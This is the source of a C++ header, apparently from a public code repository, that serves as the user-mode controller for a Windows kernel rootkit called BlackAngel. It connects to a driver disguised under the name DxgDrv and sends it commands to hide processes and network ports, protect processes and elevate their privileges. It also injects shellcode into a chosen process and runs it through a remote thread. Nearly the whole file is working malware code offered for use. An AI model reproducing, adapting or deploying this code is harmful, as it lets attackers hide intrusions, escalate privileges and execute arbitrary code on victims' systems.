-
Notifications
You must be signed in to change notification settings - Fork 108
/
BlackAngel.hpp
173 lines (144 loc) · 4.08 KB
/
BlackAngel.hpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#pragma once
#include <iostream>
#include <Windows.h>
#define IOCTL_HIDEPROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x78616666a, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
#define IOCTL_HIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x78616666b, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
#define IOCTL_PROTPROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x78616666c, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
#define IOCTL_ELEVPROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x78616666d, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
#define IOCTL_SHELL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x78616666e, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define IOCTL_GETBUFF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x78616666f, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
// Set to FALSE to disable console output
#define OUTPUT TRUE
namespace BlackAngel
{
static HANDLE DriverHandle = nullptr;
BOOL Connect()
{
DriverHandle = CreateFile(L"\\\\.\\DxgDrv", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (DriverHandle == INVALID_HANDLE_VALUE)
{
#if OUTPUT
std::cout << "[-] Couldn't open handle to the driver. Error : " << GetLastError() << std::endl;
#endif
return FALSE;
}
return TRUE;
}
struct PidData {
UINT32 Pid;
};
struct PortData {
USHORT Port;
};
struct HideProtocol {
USHORT LTCP;
USHORT RTCP;
USHORT UDP;
};
struct Shell {
UINT32 pid;
unsigned char* shellcode;
UINT32 size;
};
BOOL HideProcess(UINT32 PID)
{
PidData data;
data.Pid = PID;
DWORD returned;
BOOL success = DeviceIoControl(DriverHandle, IOCTL_HIDEPROC, &data, sizeof(data), nullptr, 0, &returned, nullptr);
if (!success)
{
#if OUTPUT
std::cout << "[-] Failed to send message to the driver. Error : " << GetLastError() << std::endl;
#endif
return success;
}
#if OUTPUT
std::cout << "[!] Message sent to the driver" << std::endl;
#endif
return success;
}
BOOL ElevateProcess(UINT32 PID)
{
PidData data;
data.Pid = PID;
DWORD returned;
BOOL success = DeviceIoControl(DriverHandle, IOCTL_ELEVPROC, &data, sizeof(data), nullptr, 0, &returned, nullptr);
if (!success)
{
#if OUTPUT
std::cout << "[-] Failed to send message to the driver. Error : " << GetLastError() << std::endl;
#endif
return success;
}
#if OUTPUT
std::cout << "[!] Message sent to driver" << std::endl;
#endif
return success;
}
BOOL ProtectProcess(UINT32 PID)
{
PidData data;
data.Pid = PID;
DWORD returned;
BOOL success = DeviceIoControl(DriverHandle, IOCTL_PROTPROC, &data, sizeof(data), nullptr, 0, &returned, nullptr);
if (!success)
{
#if OUTPUT
std::cout << "[-] Failed to send message to the driver. Error : " << GetLastError() << std::endl;
#endif
return success;
}
#if OUTPUT
std::cout << "[!] Message sent to the driver" << std::endl;
#endif
return success;
}
BOOL HidePort(HideProtocol hp)
{
DWORD returned;
BOOL success = DeviceIoControl(DriverHandle, IOCTL_HIDEPORT, &hp, sizeof(hp), nullptr, 0, &returned, nullptr);
if (!success)
{
#if OUTPUT
std::cout << "[-] Failed to send message to the driver. Error : " << GetLastError() << std::endl;
#endif
return success;
}
#if OUTPUT
std::cout << "[!] Message sent to the driver" << std::endl;
#endif
return success;
}
BOOL InjectShellcode(unsigned char* shellcode, UINT32 shellcodeSize, UINT32 PID)
{
Shell shell;
shell.shellcode = shellcode;
shell.size = shellcodeSize;
shell.pid = PID;
ULONG retn;
BOOL success = DeviceIoControl(DriverHandle, IOCTL_SHELL, &shell, sizeof(shell), NULL, 0, &retn, NULL);
if (!success)
{
#if OUTPUT
printf("[-] Could not open device control | Error : %d\n", GetLastError());
#endif
return success;
}
PVOID buffer = { 0 };
success = DeviceIoControl(DriverHandle, IOCTL_GETBUFF, &buffer, sizeof(buffer), &buffer, sizeof(buffer), &retn, NULL);
if (!success)
{
#if OUTPUT
printf("[-] Could not open device control | Error : %d\n", GetLastError());
#endif
return success;
}
#if OUTPUT
printf("Buffer : 0x%x", buffer);
#endif
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
return success;
}
}